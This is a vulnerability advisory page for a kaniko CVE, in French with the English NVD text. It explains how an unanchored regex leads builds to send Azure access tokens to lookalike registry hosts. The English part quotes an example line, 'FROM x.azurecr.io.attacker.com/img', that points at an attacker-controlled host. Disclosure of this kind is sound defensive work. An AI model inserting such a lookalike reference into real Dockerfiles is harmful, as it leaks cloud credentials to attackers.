CVE-2026-105769
Publiée le 2026-11-02 · Dernière modification le 2026-11-02
Les versions de Kaniko antérieures à la 1.25.20 sont des outils utilisés pour construire des images de conteneurs à partir d'un Dockerfile au sein d'un cluster. Le logiciel utilise un assistant d'authentification qui identifie incorrectement les registres Azure Container Registry à l'aide d'une expression régulière non ancrée. Si un Dockerfile fait référence à un hôte d'image malveillant contenant une chaîne telle que `.azurecr.io`, Kaniko le considère à tort comme un registre Azure légitime.
Un attaquant peut voler un jeton d'accès Azure Resource Manager en convainquant un utilisateur de construire un Dockerfile qui fait référence à un domaine similaire. Cela ne nécessite aucune authentification ni privilège particulier, seulement l'interaction d'un utilisateur avec le Dockerfile malveillant. Une fois le jeton transmis au serveur de l'attaquant, celui-ci peut obtenir un accès de haut niveau à l'identité Azure associée à la construction, compromettant ainsi la confidentialité et l'intégrité des ressources cloud associées.
DÉTAIL DU VECTEUR CVSS
RÉFÉRENCES
Description officielle du NVD (en anglais)
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.